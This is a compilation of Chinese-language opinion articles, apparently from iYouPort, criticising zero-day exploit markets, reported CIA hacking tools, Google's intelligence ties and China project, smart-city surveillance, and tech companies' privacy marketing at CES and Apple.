Zerodium 并不是唯一一家迎合政府的漏洞收购公司。众所周知，像 Northrop Grumman，General Dynamics 和 Raytheon 这样的主要国防承包商也向政府实体出售致命的漏洞。可能还有其他公司我们尚未了解到的。由于这些强大的公司秘密出售零日攻击，隐私对于生活在压迫政权下的人来说是一场越来越艰苦的战斗。

零日漏洞交易有三种市场：犯罪黑客交易侵入系统、盗取密码和信用卡号的漏洞利用代码和漏洞信息的黑市；充斥着漏洞悬赏活动的“白市”，研究人员和黑客在这里把漏洞信息提供给供应商，可获得相应的赏金，同时漏洞也得以修复—— 在这个市场活动的还有安全公司，他们购买零日漏洞利用来进行渗透测试，以确定客户系统是否易受攻击；而最致命的是“灰市”，这里面很多研究人员和公司都是军用网络的承包商，他们将零日漏洞利用代码和漏洞信息卖给军方、情报机构和政府执法机构，后者可通过这些信息实施监控和对电子设备的攻击行为。

零日漏洞的价格可以达到很高—— 5000美元到几十万美元不等——这依赖于多个因素：在很多 Windows 操作系统版本中都存在的漏洞要比在软件的一个版本中存在的更有价值。然而，因苹果系统比其它手机系统更难攻破，锁定苹果 iOS 系统的漏洞会更值钱。那些绕过嵌入式安全技术（例如植入到浏览器的沙盒技术，可阻止恶意软件通过浏览器入侵进而感染整个操作系统）的漏洞利用，仍能将锁定标准浏览器漏洞的利用代码带到系统中去。

自 2010 年著名的 Stuxnet 攻击事件后，关于美国政府使用零日漏洞攻击的争议就一直持续不断，而随后 Edward Snowden 披露的政府骇客行为更让这场争议愈演愈烈。白宫曾宣布过了一项政策，指出国安局将公开其发现的部分软件零日漏洞，确保其获得修复，但是，那些有所谓的“明显国家安全或执法需要”的例外，将仍被保密并很可能被利用。于是，白宫的承诺完全和没说一样—— 当权者可以把一切他们希望的目标说成“威胁国家安全”或“具有执法需求”。

这早已不是新鲜事。脆弱性获取公司和政府实体通常引用所谓的涉恐、或儿童色情等理由来证明其侵犯人权的监控和审查行为是“正当的”—— 即我们一直在警告的“六骑士”审查监控借口：洗钱、毒品、恐怖主义、儿童色情、假新闻和“仇恨言论”。被拿拿来扣住异议和反对派的大帽子还不止这些，随着大规模监视的加强和其技术的全球性铺展，当权者的借口还会继续增多。唯一的目的就是打压一切权力不喜欢的人。

监视行为可以非常隐秘和邪恶。Wikileaks 曾发布过 CIA 广泛使用的黑客工具的细节—— 针对Windows，Android，iOS，OSX和 Linux 计算机系统以及联网路由器的恶意软件。部分软件是内部开发的，并且据说英国的军情五处曾协助三星电视制造间谍软件攻击。

根据日期为 2014 年 6 月的文件，代号为“Weeping Angel”的三星 F8000 系列智能电视受到损害。文件描述了假关机模式，旨在欺骗用户相信他们的屏幕已被关闭。

文件表明，受感染的电视机被隐藏录制音频，一旦电视机完全切换回来，将通过互联网传送数据到 **CIA** 的计算机服务器。

截至2016年，中情局已经建立了 24 个 Android 的“零日”武库。其中一些据说是由中央情报局自己开发的，其他一些据称是从英国的 GCHQ 机构以及 NSA 和未命名的第三方获得的。

由三星、HTC 和索尼等公司制造的设备因此受到了损害，漏洞允许中

央情报局在“应用被加密之前”进入 **Whatsapp**，**Signal**，**Telegram** 等聊天服务。

中央情报局中一个专门单位的工作是瞄准 **iPhone** 和 **iPad**，允许该机构看到目标对象的地理位置、激活他们的设备的摄像头和麦克风，并阅读文字通信。该部门还利用 **GCHQ**，**NSA** 和 **FBI** 获得的进一步 **iOS** 零日漏洞。

谷歌、微软等大型美国企业同美国政府有着密切的联系，他们也为美国情报部门工作，因此许多员工、尤其是在网络安全部门工作的企业员工，也有一定的安全涉密级别。正因为这些美国企业同政府过往甚密，因此无法保护用户免受情报机构的侵袭。仅说谷歌，谷歌的内部“安全团队”由一些美国前军事和执法官员组成。例如，谷歌全球调查主管 Joseph Vincent，其 LinkedIn 上的简历包括在美国移民和海关执法机构的国土安全调查部门担任高级代理人；谷歌的安全负责人是联邦调查局人质救援队的前成员，也是前海豹突击队员。在这里看到我们此前对谷歌与军事情报界紧密联系之证据的介绍；在这里看到一份更详细的报告，关于谷歌从来都是情报部门的监视计划项目。这篇报告来自 INSURGE INTELLIGENCE：一个由众筹资助的独立调查性新闻项目，揭露了美国情报界如何资助、培育谷歌，作为全球 #信息战 的工具。

最后顺便说说谷歌，因为目前一直高热不下的人权丑闻也同样符合本文的主题：即 金钱高于道德的灾难。此前我们已经在单独的文章中分析了相关问题，是基于用户利益角度的分析，在这里读到。以下是基于地缘政治角度的简要分析—— 这一逻辑同样适用于对零日漏洞争夺战的理解。

我们曾多次使用过“高堡奇人”的比喻，它已经在互联网和相关数字技术领域实现，即 美国—中国的“均分天下”（等同于《高堡奇人》小说中的“德国—日本”）。这就是为什么美国国会议员在国际权利组织的压力之下表示了对谷歌中国审查版搜索引擎项目的“严厉谴责”。两方面原因：1、是国际压力；2、是该项目有可能相当于将谷歌的能力—也就是美国情报机构的实力“切割”出一块可观的部分给北京，即在“高堡奇人”的竞争局面中将球踢入对方的球门。显然，后者才是重点。

但是，谷歌能成功进入中国—— 即使将中国用户的数据交给北京作为“代价”，对美国情报机构来说也是有好处的，那将意味着美国情报机构能够更深入地了解在中国“谁或哪些组织是对北京政权冲击力最大的、中国人普遍关心的问题都有哪些、中国社会的最典型特征都是

些什么”等等，这些信息将具有高度的情报价值。北京很明白这点，这才是真正的原因关于为什么中国的 **GFW** 一直在屏蔽硅谷巨头，并同时打造本土的几乎功能一样的克隆版数字应用和数字技术。而不仅仅是简单的舆论控制目的。

这也是为什么“不论怎样只要能进入中国就是成功”这个奇怪的逻辑在硅谷一直以来非常流行、并且被主流媒体引用和被权力默许（在这里看到一个案例）。显然，其中已经不仅只有钱的问题，还有无价的情报和地缘政治较量的优势。

对于中国用户来说—尤其是崇拜美国的中国用户—是否接受谷歌这一问题很复杂吗？一点也不！但请注意一个圈套：即 “你愿意被北京监控还是被华盛顿监控”的二岐化思维，这是曾经很多中国用户选择谷歌的坚定理由：“宁可把数据交给美国”。

然而，它是绝对错误的，是被“高堡奇人”深度绑架的思路—— 这个星球上不止有中国和美国两个国家，摆脱噩梦、重新拿回自由独立之人权的方法是尽快从“高堡奇人”的幻境中醒过来；任何一种集中化监控审查都是对人权的严重侵犯，不论实施者是谁；现在完全有办法可以摆脱“中国-美国”的陷阱思路，为什么不？

而且，在谷歌中国审查版搜索引擎的案例中，对中国用户来说尤其应该具有坚定的立场，因为已经有足够的信息披露该项目将协助中国当局对中国人的更加严格的监视。

正如我们在两个月前的文章中所分析的那样，“搜索引擎”不是终极目的它只是敲门砖，谷歌瞄准的是中国这个全球数一数二的巨大数据市场，并且更重要的是，这个市场没有隐私保护法案、庞大的用户群中绝大多数人不具备足够的隐私安全意识，也没有反抗精神、没有反抗所必需的技术能力和经验，简直是一块顶天立地的肥肉，送给老大哥。

我们在推荐自由开源软件作为数字极权的替代品的时候，收到了来自中国高级知识分子的神奇回复，对方说：“你提到的那些东西我完全不知道，又怎么能信任呢？”苦笑。谷歌母公司 Alphabet 去年全年的销售额高达 1109 亿美元，谷歌的在线广告是 Alphabet 最赚钱的业务。这还是在受到特朗普税改和欧盟反垄断起诉（27 亿欧元罚款）的影响之下的收入。相比下大多数独立的开源自由软件只是大树下的蚂蚁，它们拥有的只有道德感、对互联网民主化的信念和广大技术人士的热情奉献，在这种情况下我们该如何打造能压过数字极权的知名度以令其被中国用户“信任”？

如果您还觉得不够：最新消息，为中国大型“集中营”提供监控摄像头的中国科技巨头海康威视（Hikvision）得到了美国朋友的大力帮助。公关巨头博雅公关公司(Burson-Marsteller)在帮助海康威视的美国子公司完成“战略规划和指导”等任务。游说公司 Sidley Austin 任命前14届国会议员 Rick Boucher (D-Va.) 帮助海康威视公司反击美国对他们的监控摄像头的禁止（关于海康威视，请见这篇文章《是谁在为中国政府的监视社会系统提供技术支持？》）

目前美国公司与中国老大哥海康威视的合作看起来是一项“明智的商业决策”。向美国司法部提交的一份文件显示，美国公司每月收到25,000美元的酬劳支付，从高级管理人员每小时650美元、到实习生每小时85美元……现任博雅公关公司的首席执行官 Don Baer 是前克林顿政府的通讯主管。

最令人无语的是，中国人在等着美国公司来拯救自己，而美国公司在等着北京的钱。

这种事自古以来都不新奇。1937年6月，IBM 创始人托马斯·沃森（Thomas Watson Jr.）接受了阿道夫·希特勒（Adolf Hitler）为外国合伙人颁发的奖章。纳粹使用 IBM 制造的机器帮助统计犹太人 ——直到第二次世界大战开始，美国技术人员都在为纳粹提供机器维修服务。

我们相信 IBM 没有爱上希特勒、不恨犹太人，谷歌也并不是喜欢中国政府、不“恨”中国人，他们只是喜欢钱。就如那些将零日漏洞卖给压迫性政府的公司，仅仅是因为政府当局和其情报部门是出价最高的人。如果按照物质主义的逻辑来说，这样做会被认为“无可厚非”。然而，更严重的问题是，追求正义的人们没有那么多钱和当权者竞争，

- 就如 Tor 的四千美元和 Zerodium 的一百万美元的天壤之别……
- 就如帮助独裁政府工作的人自称只为“养家糊口”；
- 就如威权国家公务员考试的挤破门槛被解释成只图一个“铁饭碗”

但是，我们还能用什么来捍卫良善之心？

原文

嗨，小心！你被瞄准了 - iYouPort

关于谷歌-监视资本主义的创始人监视资本主义的世界

- 只是为了延续监视资本主义的寿命，这些巨头可以变换各种面孔来欺骗你的“同意”。知道被监视和不知道被监视之间的区别是什么？没有任何根本性区别，不同的 仅在于后者直到被操纵才能醒悟，而前者不论是否被操纵都一直活在恐慌中。

Alphabet 的子公司 Sidewalk Labs 自称“专注于城市科技发展”， 现在它正试图重塑所谓的智能城市的标牌。这些标志不是用来指导交通流量的，也不是指向城市地标 —— 它们的目的是让人们知道自己何时受到监控。

如今很多人都知道了，“智能城市”和全方面的侵入性监视之间没什么不同。但究竟被监视的都是些什么内容？要多丰富的数据才能把 IBM、谷歌等监视资本主义巨头美成那样？以及我们可以怎么办。关联《“智能城市”究竟是个什么鬼？！》

该提案的推出是由于该公司忙于让人们接受其在纽约和多伦多等城市部署的大规模监视技术。

关联《Viedo 监视之城：谷歌打造的地狱世界》

在全球范围内，在城市中部署传感器、数据管理和少数派报告技术的合同竞争，可能已经达到数千万甚至数十亿美元，这是块巨大的肥肉，而 Sidewalk Labs 比大多数人都更了解这点。由于其项目是智能城市传感和网络技术最雄心勃勃的部署之一，该公司一直面临最公开的批评。

因此，该公司至少部分地试图削弱批评者的攻击，并建议使其监视工作更加“透明”。

“数字技术就在我们身边，但往往是看不见的。考虑一下：在任何一次城市游览中（也许只是你的通勤），你都会遇到闭路电视摄像机、交通摄像头、公交卡读卡器、自行车道计数器、 Wi-Fi 接入点、传感器 ……可能都在同一街区。“ Jacqueline Lu 写道，他的头衔是

Sidewalk Labs 的“公共领域的助理”。

Lu 称，尽管这些技术很有用，但这些技术正在收集的数据、收集数据的人、以及收集数据的内容几乎没有透明度。

像波士顿和伦敦这样的城市已经表明了什么时候在城市环境中使用监视技术，但是 Sidewalk Labs 召集了一组设计师和城市规划师来设计一个标牌系统，这个系统将使公众更多了解被监视的事实。仅此而已。

「图」

「图」

早在2013年，美国联邦贸易委员会在发出移动隐私披露要求时呼吁过制定这些类型的指标。但这似乎导致公司只是起草了大量充满行话的披露信息，这些信息比他们透露的更加模糊了。

Sidewalk 似乎在用这种方法来堵权利活动家的嘴。

“我们坚信人们应该知道如何以及为什么在公共领域收集和使用数据，我们也相信设计和技术可以有效地促进这种理解。出于这些原因，我们开始了一个合作项目，想象公共领域的数字透明度是什么样的，“Lu 和她的合著者首席设计师 Patrick Keenan 和法律助理 Chelsey Colbert 写道。

例如，Sidewalk 展示了标牌的潜在设计，可以提醒人们注意公司 Numina 技术的存在。

该技术通过使用数字记录和算法增强软件记录，跟踪区域内的移动。这些传感器安装在灯杆上，并以无线方式传输数据。

至少，该技术不能比已经监控公共空间的摄像机更糟糕（并且可以很容易地变成监视工具）。

「图」

「图」

上图的六边形设计表明了该技术的目的，公司部署它、使用它的原因，技术是否正在收集敏感信息、以及可以扫描以查找更多信息的QR码。

不要被他们的所谓“透明”所欺骗。人们应该认识到，对于公共领域的这些监视你并没有办法退出。 Sidewalk Lab 的多伦多项目既是设计的惊人壮举，又是监控资本主义的典范。

一旦你做出这些决定，将公共空间交给私营部门，或为了虚假的所谓安全而牺牲隐私人权（或者只是为了方便了解某个地点），你的权利就结束了。了解到自己正在被监视只会让人们持续处于紧张的心理状态下。与今天技术的大多数突出问题一样，它是关于长久后果的。

Alphabet’s Sidewalk Labs is developing visual cues to indicate when their tech is monitoring you – TechCrunch. The issue is with experiments like these in the public sphere is that there’s no easy way to opt out of them. Sidewalk Lab’s Toronto project is both an astounding feat of design and the apotheosis of surveillance capitalism.

原文

在1849年就预测到现代监视资本主义的人 - iyouport

监视资本主义的世界

【2020年5月27日存档】“民主体制下的公民受到的那种压迫与世界上发生的任何一种压迫都不一样” — — Tocqueville 1849

从 Tocqueville 到《监视资本主义时代》，从《潘达斯奈基》到《绿色兔子》、从《定制人》到《Antisocial Media》…… 所有这一切都在讲述同一件事。全程延续了一百七十多年。效果如何呢？人们醒过来了吗？

你有没想过，为什么人们在网上的呼吁激烈、却在现实中无所作为？你是否发现，异议的陈述已经从呼吁反抗变成了“比惨”？你是否质疑，为什么我们的交流难以产生解决方案？你是否困惑，为什么越来越多的人变成了录音机，只会重复那些已经被嚼成残渣的车轱辘话……

这一切问题都有一个共同的根源。

在法国政治思想家和历史学家亚历克西斯·德·托克维尔（Alexis de Toqueville）的书中有一段引人入胜的章节，题为：“民主国家必须惧怕哪种专制主义？”在其中，作者描述了一种真正非同寻常的状况 —— 一种人类从未遇到过的社会状况。

那是一百七十多年前，Toqueville 试图用手指触摸尚不存在的东西，但在他非凡的政治想象力中，他能够以惊人的清晰度预见到这一点。

已经有充分的理由担心，由 Google 开创的、并由 Facebook 等寡头公司纷纷采用的商业监视业务模型，正在破坏我们的民主基础。

- 在这里下载《监视资本主义时代》这本书

Shoshana Zuboff 在她的新书《监视资本时代》中解释说，该系统将

人类经验视为“免费的自由开采的原材料，用于转换为行为数据”；

尽管其中一些数据被声称用于改善服务质量，但是，其余大部分数据则被输送到称为“机器智能”的先进制造流程中，并被制成可预见您不久后和将来会做些什么的预测产品。

最后，这些预测产品在一种被称为 *行为期货市场* 的新型市场中进行交易。监视资本家从这些交易业务中变得非常富有，因为许多公司愿意押注你的未来行为。”

> *an immense tutelary power … which alone takes charge of assuring their enjoyments and watching over their fate. It is absolute, detailed, regular, far-seeing, and mild —— Alexis de Tocqueville, 1849*

这是一种新的、阴险的、微妙的、几乎看不见的征服，你我就是这一征服的主题，这种征服正是 **Tocqueville** 在**1849**年以不可思议的能力预见到的。

一百七十多年前他就写明了这点：“民主制度下的人民所遭受的那种压迫不会像在世界上进行的任何压迫一样。”

他写道，“是巨大的教学能力……的崛起…… 如果该系统的目的是使男人更有男子气概，那它就会像父权。但是相反，该系统只是试图在儿童时期就把一个人的各方面特征固定下来；它愿意让公民享受自己，但前提是他们仅仅考虑享受自己；而该系统想要成为一切的唯一代理人和唯一仲裁者。”

在《时代》杂志1月17日发表的文章 “I Mentored Mark Zuckerberg, But I Can’t Stay Silent” 中，作者 Roger McNamee 说：“操纵注意力的最佳方法之一是诉诸于暴怒、恐惧、情绪化和参与度。Facebook 的算法为用户提供了他们想要的东西，因此，每个人的 News Feed 都会变成一个独特的个人现实，一个过滤气泡，它会产生一种幻觉，误认为所有人都相信相同的事物。”

- 我们2年前详细分析过这个问题，见《算法暴政：定制人如何终结民主》
- 《心理操纵的秘密：”行为经济学”＋PR＝？》
- 《请记住：你一直在被社交媒体操纵》
- 《最完美的绑架》

这里的过滤气泡是一个有用的概念：爱沙尼亚生物学家 Jakob vonUexküll 的研究核心就是 “气泡” 和 “周围世界” 的概念，每个生物为自己创造了一个 “气泡”，并以此作为他们对 “世界” 的体验。

> *One of the best ways to manipulate attention is to appeal to outrage and fear, emotions that increase engagement. Facebook’s algorithms give users what they want —— Roger McNamee, Time Magazine*

umwelt 是“在人类（和动物）的交流和指征研究中最关键的生物学基础”。该术语通常被翻译为 “以自我为中心的世界”。

对于每种生物而言，**umwelt** 都是其整体的全部。我们作为人类的独特之处在于我们的 **umwelt** 不是固定的、不动的、刚性的或静态的。

我们了解 Facebook 算法操纵对用户的影响的一种方式就是，可见的，每个用户 **umwelt** 都在有效地收缩：变得越来越小，越来越钙化。彼此间无法再沟通。

作者 Zeynep Tufekci 在 “ Facebook的算法如何抑制内容多样性以及新闻提要如何控制您的点击” 一书中已经明确了这点。通过确保每个人仅仅接触到其个人只可能会赞成和赞同的事物，我们的 umwelt（即 社会现实）就会大大减少、并同质化。

IYP 警告的《异议的消亡：为什么网络变得同质化》。

Facebook 的商业模式具有深远的影响，尤其是在我们对他人（与自己不相像或思想不相似的人）产生同情的能力的方面。

- IYP 2017 年的科幻小故事讽刺了这件事《绿色兔子》

这在缅甸产生了毁灭性的后果，在那里，Facebook 成为了针对罗兴亚人进行种族清洗的工具。

Facebook 已经成为纯粹的 “部落主义论坛”，提倡所谓的 “简化版’社区’”，同时可以说是 “损害民主、科学和公共健康”的罪魁祸首 —— 正如 Siva Vaidhyanathan 在《反社会的媒体》中所抨击的：Facebook 切断了我们之间的联系、并破坏了民主（牛津大学出版社，2018年）。

- 《社区应该是什么？是谁在玩坏这个概念？》

大部分研究表明，同理心和我们创造性地重建另一个 **umwelt** 的能力之间有着密切的关系。

尽管无法共享他人或自己的 umwelt —— 我们每个人都像以前一样一直在自己构建的气泡中 —— 我们只能参加一个共同的 umwelt，在许多方面，这是社交媒体的既定目标。

具有讽刺意味的是，声称拥有最重要的连通性的 Facebook 实际上促成了相反的结果 —— 它让每个人都陷入了僵化僵硬的孤立泡沫中。

面对政府日渐加强的无能局面，我们必须认识到 **Facebook**、**Google** 和 **Amazon** 是新的利维坦。

- 下载国际特赦组织的报告《Google 和 Facebook 是人权侵犯者》

Facebook 只向用户提供与他们个人共同意见的帖子，就像 Tocqueville 所说的“ tutelary’s power”（托克维尔的 “tutelary’s power”），“它将意志的行动限制在一个很小的空间内，并且一点一点地窃取了每个公民自由意志的使用”。

这些公司不仅仅希望自动化信息：正如 Zuboff 所说，“现在的目标是使我们每个人自动化 **……** 通过规避个人意识来产生无知，从而消除任何自决的可能性。”

把所有人变成木偶。

Julian Assange 在**2011**年就声明过：**Facebook**是一台恐怖的间谍机器《Assange: Facebook is an ‘appalling spy machine’》。*Mr. Robot* 的台词，讲述的也是同一件事：寡头公司至高无上的权力正在操纵整个世界，同理心的消融、定制人的囚禁、*umwelt*，将一切商品化，包括异议

Facebook 的商业模式代表了一种新的隐性征服形式，这种形式并不构成专制，但是，正如 Vaidhyanathan 所观察到的那样，“它阻碍、妥协、激化、压制、令人迷惑，最终使每个国家的所以人口均沦为仅由政府管理的怯懦而机械性的动物。”

> *it hinders, compromises, enervates, extinguishes, dazes, and finally reduces each nation to being nothing more than timid and industrious animals of which the government is the shepherd —— Vaidhyanathan*

Facebook 为认知规范的恶化做出了自己的贡献，并帮助迎来了所谓的后真相时代。

这种对真理的轻视背后的动机一直是相同的 —— 即，它服务于钱。

正如 McNamee 所说："在 Facebook 上，普通信息和虚假信息看起来是一样的；唯一的区别是，虚假信息产生了更多的收入，因此得到了更好的待遇。"

与许多其他人一样，McNamee 建议用户应控制自己的数据和元数据 —— 说的就好像数据所有权问题是监视资本主义祸害的解决方案一样。

- 《"数据所有权"不仅无法解决现有问题，它还制造了新的问题》

这不是真的。这种想法的问题在于，它没有问到更根本的问题，即 这些数据是否应该存在。

正如 Zuboff 所说："这就像去谈判一个7岁的孩子一天应该工作多少个小时，而不是在谈论童工的基本合法性。"

监视资本主义代表了一种新的专制主义，这种专制主义正在损害我们的个人自治能力，以便行为数据可以不受阻碍地继续生成，从而为市场以及 Google 和 Facebook 的真实客户也就是那些广告商提供服务。

> *We are becoming the kind of solipsistic and atomistic society that Tocqueville foresaw, "an enumerable crowd of like and equal men who revolve on themselves without repose … each of them, withdrawn, and apart, is like a stranger to the destiny of all —— Sam Ben-Meir*

我们正在成为 Tocqueville 所预见的那种唯我论的和原子主义的社会，"一群毫无区别的 [定制] 人，他们自发地生活着 …… 冷漠，疏远，彼此分隔，就像其他所有人的命运的陌生人一样。 …

Alexis de Tocqueville 警告人们，压迫完全可能采取温和的、静悄悄的形式，但仍然可以摧毁真正的自由。

要充分应对该问题，不仅需要更大的隐私或数据所有权，并且，还需

要对我们的基本假设提出根本性的质疑，并对资本主义监视时代的民主意味着什么这个问题，需要有新的理解。

IYP 需要补充一句：解决方案必须是技术的民主化，只有技术的基础设施是民主的，社会才能是民主的。监视资本主义的解毒剂就是如此。〇

How Alexis De Tocqueville Predicted Surveillance Capitalism Over 175 Years Ago

原文

在CES上，技术寡头正努力宣扬隐私，不要相信他们的炒作！ - iYouPort

监视资本主义的世界

隐私这个概念已经成为监视资本家的噱头。这应该提醒所有人小心，因为 ……

「图」

「图」

- 《以隐私为目的的斗争如何让你变成了监视的盟友》

苹果、Facebook、亚马逊 ……以及其他聚集在这里参加 CES 技术大会的监视资本家们都在宣扬 “隐私”。

不要相信炒作。

去年，苹果通过在大型的年度大会外墙上张贴巨型广告牌而引起了轰动，它吹捧说：“你的 iPhone上发生的事全留在了你的 iPhone 上。”

今年，作为隐私问题小组讨论的一部分，苹果公司数十年来首次正式参加 CES。我是第一个问问题的人。

- 《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》
- 《别天真，库克不是上帝》

我说：苹果在做什么，以使其广告牌上所言之真正成为现实？去年春天，我在 iPhone 上进行了一项实验，以观察睡觉时我的数据发生了什么。

- 见《现在是半夜，你知道你的 iPhone 在和谁说话吗？》

原来，iPhone 应用程序一直在将我的个人信息发送给我从未听说过的

各种跟踪公司。 Apple 审核其商店中的应用程序，但是，并没有使它们符合 iPhone 的口号。

苹果对此无话可说。苹果公司全球隐私高级总监 Jane Horvath 说：“我们正在不断创新，包括在运营过程中 ……

那一刻总结了目前正在侵蚀我们所有人对消费者技术的信任的诸多因素。

许多通过向人们出售数据收集设备（或单纯收集我们的数据）而致富的监视资本主义公司已经学会了如何谈论有关隐私的话题。

但是，他们通常会以首先为自己的利益服务的方式定义隐私。

技术人员甚至都在谈论隐私，这很重要。 CES 一直是将一切都联网的啦啦队活动的中心。但这不是我们需要的解决方案。

应该称其为 “隐私洗地” —— 当科技公司推销其数据的控制权和透明度，但继续吞噬数据时。

「图」

「图」

Jane Horvath, Apple’s senior director of global privacy, speaks on a privacy roundtable at CES 2020. (David Becker/AFP/Getty Images)

实际上，正相反，苹果是罪魁祸首之一。 Facebook 的隐私负责人 Erin Egan 也在CES小组上发言，他直截了当地说：“我认为，如今，Facebook 上的人们受到隐私保护。”（哈哈哈哈哈哈 …… 噗）

就在几个月前，这家社交网络巨头刚刚同意向联邦贸易委员会支付50亿美元罚款，以解决隐私调查。

- 《50亿美元的惩罚只能令 Facebook 欣喜若狂》

作为其隐私冠军营销的一部分，Facebook 及时在CES上推出了其 “隐私检查” 页面的新版本，该页面简化了其许多隐私按钮和控件，但是，☞并没有赋予人们阻止监视资本主义侵害性的权利。在下面看到：

- 《Facebook对您进行毛骨悚然的跟踪—— 即使您根本不用

Facebook》

在CES的其他地方，Google 推出了始终窃听你的所谓语音助手，声称‘专为保护隐私而设计”，因为当您注意到它随机记录了家人的亲密谈话时，您可以告诉它“嘿，Google，这不适合您”。呵呵，真TM太好了 ……

帮助警察建立广泛监控网络的亚马逊的 Ring 视频门铃，引入了一个所谓的“隐私和安全仪表板”，该仪表板也不会更改其大多数默认隐私和安全设置。

幸运的是，CES 隐私小组的另一位专家 —— FTC专员 Rebecca Kelly Slaughter 在那里进行了现实检查。在 Facebook 的负责人发表声明后不久， Slaughter 说：“我不想谈论特定的服务或产品，但是，总的来说，不，我认为隐私通常不受保护。”（请注意，她发表讲话是为了澄清她只是在为自己而不是联邦贸易委员会发言。）

在罚款和新的隐私法律日益严峻的威胁下，监视资本家们已开始强调如何给用户所谓的“透明”和“控制权”，例如，那些隐私仪表板。Facebook 的发言人在讲话中多次说“控制”一词。

苹果公司也这么干，他们说：“在苹果公司，我们定义隐私的方式是让消费者坐上驾驶席。他们应该控制数据。”

但是，正如 FTC 的 Slaughter 指出的那样，我们任何人都无法控制 —— 太多的数据流到了太多人手中。“我为所有这一切感到担忧，保护个人数据的全部责任都由消费者承担。”

Slaughter 表示，“对于大多数人来说，您必须处理以弄清楚数据都发生了什么的信息量之大完全无法承受。”作为一名花费大量时间研究小工具和应用程序的记者来说，我也这么认为。

我们该如何解决？监视资本家必须从消费者的角度真正看待这一点，并且了解他们如何保护我们的数据是我们如何判断的一部分。（这是作者的意思，但您知道，不可能做到这点，因为薅羊毛是监视资本家的生命线）

Horvath 在小组会议上说，苹果会竭尽全力加密和最小化收集的数据。它还要求应用程序在收集您的位置和其他高度敏感的数据之前寻求您的许可。

但是，Horvath 并没有说是否审查第三方 iPhone 应用程序的监视行

为，这对于公司来说既费时又费钱，因此很方便地将其定义为 “超出职责范围”。

审查 iPhone 应用程序的隐私权，例如去年夏天关于俄罗斯拥有的 FaceApp 的骚动，显然是 Apple 认为作为客户应承担责任。

科技公司和其他收集我们数据的监视资本家高管并没有真正理解这个问题。

他们认为隐私只是老帮菜们或偏执狂才关心的事。

- 《“如果你不偏执，那就是疯了”》

在另一场 CES 小组会议上，负责 CES 的科技行业协会负责人 Gary Shapiro 表示，基本上，对隐私的担忧应该覆盖所有免费的在线服务。他讲述了自己与来自发展中国家的一些领导人的对话，他们称隐私是 “第一世界的问题”。

首先，世界上每个人都应享有隐私权。其次，公司应将其视为品牌信任问题。当消费者对产品和行业失去信心时，对企业不利 ……

这些话和没说一样。这些监视资本家可以用任何方法骗取大多数人的信任，因为几十年来他们已经侵入了每个人生活的方方面面，就像牙膏和枕头一样；如果您不信，试着告诉身边人这一真相 ☞《你的手机本身就是间谍》，看看有多少人会因此避免使用智能手机？

监视资本主义是一种专制体制，是新型的暴政，除非让这个系统解体，否则这一切都无从解决。

至少，目前，您必须了解 —— 所有仅仅声称隐私的家伙都值得怀疑。以及该怎么办。〇

At CES, Apple, Facebook and Amazon are preaching privacy. Don’t believe the hype

原文

声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏 - iyouport

监视资本主义的世界

【2018年10月28日存档】安全、自由和隐私，这三个概念不仅相互关联，而且相互依存。但其中有一个概念是根基，而苹果的 CEO 恰恰就在这个概念上做了手脚，最终它破坏了全部三者。当所有主流媒体都在称赞 Cook 的隐私发言时，你应该知道，他有多么的狡猾。

对于隐私和人权的主题演讲来说，上周是很棒的一周；对于通过监视资本主义大发横财的巨头公司们而言，这是糟糕的一周。

首先是 Purism 首席执行官 Todd Weaver 在 All Things Open 上发表了主题为 “计算的未来和你应该关心的事” 的演讲，他强调了大科技公司获取更多利润的动力如何导致了人们的权利被忽略。在这次演讲中，Todd 介绍了至关重要的五项基本数字权利的想法：

- 变更服务提供者的权利：如果一个人想要更换服务提供者，他们可以轻松地转移到另一个服务（分散化服务）；
- 保护个人数据的权利：一个人拥有并控制自己的主密钥来加密所有数据和通信，没有任何其他人可以控制（用户控制的加密）；
- 验证权：社会可以自由检查所有使用的软件的来源，并可以出于任何目的按照自己的意愿运行它（软件自由）；
- 被遗忘权：服务提供商仅存储提供服务所需的最少个人数据。一旦不再需要数据，就会删除它（最小数据保留）；
- 访问权：在访问服务之前，任何人不得被歧视或被迫同意任何条款和条件（个人自由）。

然后的两天，苹果公司首席执行官蒂姆·库克在国际数据保护和隐私委员会会议上发言，并赞成将 GDPR 立法和隐私作为一项人权，并反对他称之为“数据工业综合体”的做法。他说出了他自己的“四条原则”：

- 公司应该挑战自己对客户数据的识别欲望或者不首先收集数据；
- 用户应始终知道从中收集了哪些数据以及收集是为了做什么。这是授权用户决定哪些收集是合法的，哪些收集不合法的唯一方法。减少欺骗；
- 公司应该认识到数据属于用户，我们应该让人们很容易获得他们的个人数据的副本，以及纠正和删除它；
- 每个人都有权获得数据的安全性。安全性是所有数据隐私和隐私权的核心。

听起来很美？才不是。这只是很棒的文字游戏。

Apple 对隐私权的观点是对的

首先，我们应该赞扬 Apple 加入了 Purism 和其他公司的队伍，以支持用户隐私和反对为众多科技公司赚取利润的不道德的数据收集做法。有一个知名公司来谈论隐私是一项人权问题，将有助于进一步提高对这些问题的认识，并对其他大型科技公司施加更大的压力，以改变他们的做法。随着越来越多的人意识到这些问题，他们希望能够根据谁最尊重他们的权利来决定他们想要支持哪些公司、以及他们想要使用哪种技术。

如今绝大多数人都在互联网上，计算机和移动设备的普及意味着每个人都在向大型科技公司发送源源不断的数据，整体上就是人们无法理解的巨大。普通人更难弄清楚数据的使用和滥用的方式。然而，当你看到这些大型科技公司的收入时，你至少可以明白一件事：即 这些数据很值钱。事实上，这些数据非常值钱，这些公司不可能有任何动力去改变他们自己的做法。

你再仔细看看蒂姆库克提出的“四个原则”，前三个主要可以通过 Todd 的“被遗忘权”数字权利进行总结。而实际上，当今科技行业的运作方式意味着人们无法控制自己的数据。大型科技公司尽可能多地捕获数据，并不断提出新的歪点子来为您投放更具针对性的广告。

但是，**Apple** 对自由的看法是错误的

下面是蒂姆库克的第四个原则，从表面上看，纯粹主义和苹果似乎很像？但是当你深入研究原理时，你会发现，这完全是两码事。比较这两个陈述：

- 纯粹主义：保护个人数据的权利：一个人拥有并控制自己的主

密钥来加密所有数据和通信，没有任何其他人可以控制（用户控制的加密）。
- **Apple**：每个人都有权获得数据的安全性。安全性是所有数据隐私和隐私权的核心。

我们同意 Apple 的一半观点，即安全性是所有数据隐私和隐私权的核心。但另一半就是文字游戏了：究竟是谁持有钥匙。

